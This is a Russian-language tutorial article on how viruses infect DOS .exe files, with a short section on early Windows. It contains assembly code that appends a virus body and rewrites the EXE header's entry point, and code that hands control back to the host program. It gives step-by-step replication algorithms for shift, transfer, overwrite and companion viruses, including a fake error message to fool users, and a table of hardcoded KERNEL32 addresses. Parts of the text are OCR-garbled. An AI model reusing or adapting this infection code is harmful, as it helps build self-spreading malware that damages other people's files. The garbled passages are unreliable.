Мы уже поговорили об com-вирусах и теперь давайте подробней
остановимся на вирусах, которые заражают приложения с расширением .exe.
На данный момент это самый распространенный вид вирусов. Впрочем,
механизм заражения .ехе программ встроен практически во все вредоносные
программы. Именно по этому данная тема является одной из самых важных.
Что ж не будем упускать ее из поля зрения.
Как уже говорилось, .сом приложения состоят из одного сегмента и
ограничены его размером в 64 кб (такие приложения, в основном, пишутся
на языке assembler). Приложения с расширением .ехе – совсем другое
дело, их размер зависит от средств и алгоритма действия.
Ехе-файл может состоять из нескольких сегментов (кодов, данных, стека).
У ехе-файла имеется заголовок, использующийся при загрузке приложения.
Заголовок состоит из двух частей: форматированной и таблицы настройки
адресов (Relocation Table). Форматированная часть заключает в себе
сигнатуру программы и данные необходимые для загрузки. Таблица
настройки адресов имеет формат: сегмент:смещение.
К смещениям в загрузочном модуле, на которые указывают значения в
таблице, после загрузки программы в память должен быть прибавлен
сегментный адрес, с которого загружена программа.
Итак, для начала рассмотрим, пожалуй, все тот же алгоритм загрузки
программы расширения .ехе. Загружает программу в память системный
загрузчик (функция DOS 4Bh) и при этом выполняются действия в следующей
последовательности:
1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегмент ЮОООЬ – PSP;
сегмент+ООЮЬЮОООЬ – программа). В поля PSP заносятся соответствующие
значения.
4. Адрес DTA устанавливается равным PSP:0080h.
5. В рабочую область загрузчика считывается форматированная часть заголовка ЕХЕ-файла.
6. Вычисляется длина загрузочного модуля по формуле: Si7.e=((PageCnt*512)-(HdrSae*16))-Pa!tP3ig.
7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16.
8. Вычисляется сегментный адрес (START_SEG) для загрузки – обычно это PSP+10h.
9. Считывается в память загрузочный модуль (начиная с адреса START_SEG:0000).
10. Для каждого входа таблицы настройки:
a. читаются слова I_OFF и I_SEG;
b. вычисляется RELC^SEG-START^SEG+LSEG;
c. читается слово по адресу RELO_SEG:I_OFF;
d. к прочитанному слову прибавляется START_SEG;
e. результат запоминается по тому же адресу (RELO_SEG:I_OFF).
11. Распределяется память для программы в соответствии с МахМет и МтМет.
12. Инициализируются регистры, выполняется программа:
a. ES=DS?PSP;
b. АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;
c. SS?START_SEG+ReloSS, SP-ExeSP;
d. CS=START_SEG+ReloCS, IP=ExeIP.
Как уже оговаривалось в статье «Классификация вредоносного ПО»:
ехе-вирусы бывают разные, следовательно, и способы заражения у них
разные. Выделяют три основных способа.
Пожалуй, самым распространенным способом заражения является следующий:
тело вируса записывается в конец файла, а заголовок корректируется
(естественно с сохранением оригинального) так, что бы точка запуска
программы находилась в начале вируса. Таким образом, при запуске
управление получает вирус, он инфицирует еще несколько программ, потом
берет из сохраненного заголовка оригинальный адрес запуска программы,
прибавляет к его сегментной компоненте значение регистра DS или ES
(полученное при старте вируса) и передает управление на полученный
адрес.
Следующий способ носит название «способ сдвига». Работает все предельно
просто: вирус считывает в память компьютера код заражаемой программы,
потом записывает сначала свой код и к нему прикрепляет код программы,
как бы смещая ее. При запуске такой программы управление получает
вирус, он заражает еще несколько файлов, после считывает код программы
в память, создает временный исполняемый файл, записывает туда код
программы и передает управление этому файлу. После выполнения программы
файл удаляется. При повторном запуске инфицированной программы все
повторяется. Однако, этот способ крайне не удобен, ведь в теперешнее
время редко встретишь программу маленького размера, а чем больше
размер, тем больше времени надо для выполнения описанных выше
громоздких операций.
Следующий способ заражения файлов – метод переноса – по всей видимости,
является самым совершенным из всех перечисленных. Вирус размножается
следующим образом: при запуске инфицированной программы тело вируса из
нее считывается в память. Затем ведется поиск неинфицированной
программы. В память считывается ее начало, по длине равное телу вируса.
На это место записывается тело вируса. Начало программы из памяти
дописывается в конец файла. Отсюда название метода – “метод переноса”.
После того, как вирус инфицировал один или несколько файлов, он
приступает к исполнению программы, из которой запустился. Для этого он
считывает начало инфицированной программы, сохраненное в конце файла, и
записывает его в начало файла, восстанавливая работоспособность
программы. Затем вирус удаляет код начала программы из конца файла,
восстанавливая оригинальную длину файла, и исполняет программу. После
завершения программы вирус вновь записывает свой код в начало файла, а
оригинальное начало программы – в конец. Этим методом могут быть
инфицированы даже антивирусы, которые проверяют свой код на
целостность, так как запускаемая вирусом программа имеет в точности
такой же код, как и до инфицирования.
Теперь давайте рассмотрим каждый из способов заражения поподробней.
Стандартное заражение (изменение заголовка)
В принципе этот метод мало чем отличается от работы сом-вируса, но при
работе с ехе-файлами есть свой отличия, поэтому рассмотри небольшой
участок кода и попробуем разобраться.
; Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт,
; которых вполне достаточно)
ReadHeader:
mov ah, 3Fh
mov dx, offset EXEHeader
mov cx, 0018h
int 21h
; Останавливаем в SI адрес считанного заголовка. В дальнейшем
; будем обращаться к заголовку, используя Sl+смещение элемента
mov si, offset EXEHeader
; Получаем реальную длину файла, переместив указатель текущей
; позиции чтения/записи в конец файла
GetRealFSize:
mov ax, 4202h
mov bx, Handle
xor cx, cx
xor dx, dx
int 21h
; Сохраним полученную длину файла
mov Reallen, dx
mov Reallen+2, ax
; Так как речь идет о стандартной процедуре заражения, нужно
; помнить, что все вышесказанное не должно затрагивать
; оверлейные файлы. Их длина, указанная в заголовке,
; меньше реальной, то есть эти файлы загружаются в память не полностью.
; Следовательно, если заразить такой файл, вирус попадет
; в не загружаемую часть.
; Сохраним в стеке реальную длину ЕХЕ-файла
push dx
push ax
; рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток CompareOVL
mov cx,0200h
div cx
; Ha данный момент в регистре АХ находится число страниц
; (в каждой странице содержится 512 байт),
; а в регистре DX – остаток, образующий
; еще одну (неучтенную) страницу.
; Добавим эту страницу к общему числу страниц -
; если остаток не равен нулю, то увеличим число страниц
or dx.dx
jz m1
inc ax
m1:
; Будем считать пригодным для заражения
; стандартным способом файлы с длиной,
; полностью совпадающей с указанной в заголовке
cmp ax, [si+PartPag]
jne ExitProc
cmp dx, [si+PageCnt]
jne ExitProc
; Чтобы вирус смог вернуть управление
; зараженной программе, сохраним поля ReloSS,
; ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла.
; Значения констант, используемых в программе,
; равны смещению соответствующего
; элемента в заголовке ЕХЕ-файла (Приложение А)
InitRetVars:
mov ax, [si+ReloSS]
mov oldss, ax
mov ax, [si+ExeSP]
mov oldsp, ax
mov ax, [si+ReloCS]
mov oldcs, ax
mov ax, [si+ExeIP]
mov oldip, ax
; Восстановим из стека реальную длину файла
; В данном случае она совпадает с длиной, указанной в заголовке
pop ax
pop dx
; Рассчитаем длину программы с вирусом, для чего прибавим
; к длине файла длину тела вируса
add ax, VIRSIZE ;VIRSIZE – длина тела вируса
adc dx, 0
; рассчитаем получившуюся длину (одна страница – 512 байт)
; и остаток в последней странице (так же,
; как рассчитывали длину файла без вируса)
mov cx,0200h
div cx
or dx, dx
jz newJen
inc ax
NewJen:
; Внесем в заголовок новую длину файла
mov [si+PageCnt], ax
mov [si+PartPag], dx
; Прочитаем реальную длину файла.
; По ней будем рассчитывать новую
; точку входа в программу (адрес запуска)
Eval_new_entry:
mov dx, Reallen+2
mov ax, Reallen
; Рассчитаем новую точку входа.
; Точка входа в вирус должна находиться
; в начале его тела. Другими словами, нужно к длине файла
; прибавить смещение точки входа.
; Разделим длину на размер параграфа (10h)
mov cx, 10h
div cx
; Получили число параграфов (AX) и остаток (DX – смещение
; вируса в последнем параграфе).
; Отнимем от числа параграфов в файле число
; параграфов в заголовке – получим сегмент входа в ЕХЕ-файл
sub ax, [si+HdrSize]
; 3апишем новую точку входа в заголовок
mov [si+ReloCS], ax
mov [si+ExeIP], dx
; Замечание: можно было округлить полученное число,
; и вирус начинался бы с 0000h.
; Но этого делать не стоит.
; Естественно, все обращения к данным в этом вирусе
; должны быть нефиксированными, как и в любом другом вирусе.
; Вместо “mov ax, ANYDATA”; придется делать так:
; mov si, VIRSTART
; mov ax, [si+offset ANYDATA]
; где offset ANYDATA – смещение относительно начала тела вируса
; Стек поставим за тело вируса – байт на 100h. Потом обязательно
; вернем, иначе можно стереть заготовленные в стеке значения!
; Установим сегмент стека такой же, как и кода,
; а указатель на вершину стека -
; на 100h байт после тела вируса
mov [si+ReloSS], ax
mov ax, VIRSIZE+100h
mov [si+ExeSP], ax
; Теперь запишем заголовок в файл, не забыв и тело вируса.
; Рекомендуется писать сначала тело, а потом заголовок.
; Если тело вдруг не допишется,
; то файл испортим зря
UpdateRle:
; 3апишем тело вируса
WriteBody:
; Установим указатель чтения/записи в конец файла
mov bx, Handle
хог сх, сх
xor dx, dx
mov ax, 4202h
int 21h
; Запишем тело вируса в файл
mov ah, 40h
mov cx, VIRSIZE
mov dx, offset VIRStart
int 21h
; 3апишем заголовок
WriteHeader:
; Установим указатель чтения/записи в начало файла
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21h
; Запишем заголовок в файл
mov cx, 0018h
mov ah, 40h
mov dx, si
int 21h
Приведенный код описывает заражение файла, однако, чтобы не возникло
подозрений необходимо, чтобы вирус после работы передал управление
программе:
CureEXE:
StackBack:
; Установим первоначальный указатель (сегмент и смещение) стека
mov ax, ds
; Прибавим 0010h, после чего в АХ будет
; находится сегмент, с которого загружен программный модуль
add ax, 10h
; Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено при заражении
; 3апретим прерывания, так как со стеком нельзя работать,
; пока и сегмент, и смещение не установлены в нужное значение
cli
; Установим сегмент стека (PSP+Wh+OldSS)
mov ss, ax
; Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
; Разрешим прерывания – опасный участок пройден
sti
; Подготовим значения в стеке для команды IRET
RetEntryPoint:
pushf
; рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax, DATASEG
add ax, 10h
db @add_ax
OldCS dw ?
; Сохраним в стеке полученное значение (PSP+Wh+OldCS)
push ax
; Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
; Запустим программу. В стеке находятся смещение
; точки входа, сегмент точки входа и флаги
Iret
Заражение способом «сдвига кода»
Как уже говорилось, при заражении этим способом код программы сдвигается в файле. Рассмотри алгоритм заражения:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер все тело программы.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.
14. Создать на диске временный файл с расширением СОМ или ЕХЕ (в зависимости от того, какой тип программ заражается).
15. Записать в этот файл тело программы из буфера.
16. Закрыть созданный файл.
17. Процедурой Ехес запустить созданный файл на исполнение – выполнится инфицированная программа.
18. После завершения работы программы созданный файл удалить.
19. Вернуть управление ОС.
Внедрение способом «переноса»
Недостаток этого способа заключается в обной неприятной вещи. Если при
работе инфицированной программы машина неожиданно зависнит или
перезагрузится в результате сбоя системы, то инфицированная программа
окажется чистой, т.е. без тела вируса, но случаи таких совпадений
единичные. Рассмотрим алгоритм действия:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл жертву.
6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.
11. Закрыть файл жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер начало инфицированной программы, расположенное в конце файла.
14. Записать считанное начало программы поверх кода вируса в начало файла.
15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).
16. Закрыть файл.
17. Процедурой Ехес запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа.
18. После завершения работы программы опять открыть стартовый файл.
19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление ОС.
Windows
Обычные приложения вызывают Windows API (Application Program Interface)
используя таблицу импортируемых имен. Когда приложение загружено,
данные, необходимые для вызова API, заносятся в эту таблицу. В Windows,
благодаря предусмотрительности фирмы-производителя Microsoft,
модифицировать таблицу импортируемых имен невозможно
Эта проблема решается непосредственным вызовом KERNEL32. То есть
необходимо полностью игнорировать структуру вызова и перейти
непосредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API
GetModuleHandle или другие функции для получения точек входа модуля,
включая функцию получения адреса API GetProcAddress.
Как вызывать API, имея возможность вызывать его и в то же время, такой
возможности не имея? Ответ: вызывать API, расположение которого в
памяти известно – это API в файле KERNEL32.DLL, он находится по
постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call APLFUNCTIONJMAME
например:
call CreateFileA
После компиляции этот вызов выглядит так:
db 9Ah ; инструкция call
dd 7777 ; смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера для
данной функции API. Этот адрес можно получить с помощью GetProcAddress
API. Диспетчер функций выглядит так:
push function value
call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого
модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной
точке на вызовы непосредственно функций. Просто сохраняем в стеке
значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически – именно так и
предполагалось. Но конкретное место его расположения в разных версиях
Windows отличается. Это было проверено. Оказалось, что одна функция
(получение времени/даты) отличается номером. Для компенсации этих
различий добавлена проверка двух различных мест на наличие KERNEL32. Но
если KERNEL32 все-таки не найден, вирус возвращает управление
программе-носителю
Для того, чтобы настроить вирус под операционную систему windows
необходимо знать адреса функций 32-битного отладчика (Kernel32) ядра.
Некоторые из этих адресов приведены в таблице ниже:
Функция Адрес в June Test Release Адрес в August Test Release
GetCurrentDir BFF77744h BFF77744h
SetCurrentDir BFF7771Dh BFF7771Dh
GetTime BFF9DOB6h BFF9D14Eh
MessageBox BFF638D9h BFF638D9h
FindFile BFF77893h BFF77893h
FindNext BFF778CBh BFF778CBh
CreateFile BFF77817h BFF77817h
SetFilePointer BFF76FAOh BFF76FAOh
ReadFile BFF75806h BFF75806h
WriteFile BFF7580Dh BFF7580Dh
CloseFile BFF7BC72H BFF7BC72h
Напоследок…
Но имеются вирусы которые не внедряют свой код в файл жертвы. Как же
действуют они? Ну, давайте рассмотрим два вида таких вирусов.
• Вирусы замещающие программный код (Overwrite)
Редкое явление, но все же явление… Этот класс вирусов замещает
программный код своим, при этом первый не сохраняется. Алгоритм работы
следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например “Abnormal
program termination” или “Not enough memory”, – пусть пользователь не
слишком удивляется тому, что программа не запустилась.
12. Завершить программу.
• Вирусы-спутники (Companion)
Эти не трогают программный код (кроме как изменяют точку старта), они
просто создают файл-спутник (как правило .сом). При запуске
инфицированного файла, управление передается файлу-спутнику, т.е.
вирусу. Рассмотрим алгоритм такого вируса работающего под DOS
(заражение производится с помощью командного процессора):
1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-файлом СОМ-файл с таким же именем, как у файла-жертвы.
4. Если такой СОМ-файл присутствует, файл уже заражен, переходим к пункту 6.
5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением СОМ.
6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но с
расширением ЕХЕ – то есть выполнить инфицированную программу.
7. вернуть управление в DOS.
Ну, вот, пожалуй, и все на сегодня. Мы рассмотрели способы заражения и
работы вирусов для ехе-файлов. В следующий раз на наш «операционный
стол» лягут макро-вирусы – гроза MS Office.
Удачи…
P.S.: вся информация изложенная в статье носит ознакомительный
характер. Для ознакомления с вирусным кодом представлены листинги
вирусов работающих под MS-Dos. Автор не несет ответственности за
использование этой информации в противозаконных целях.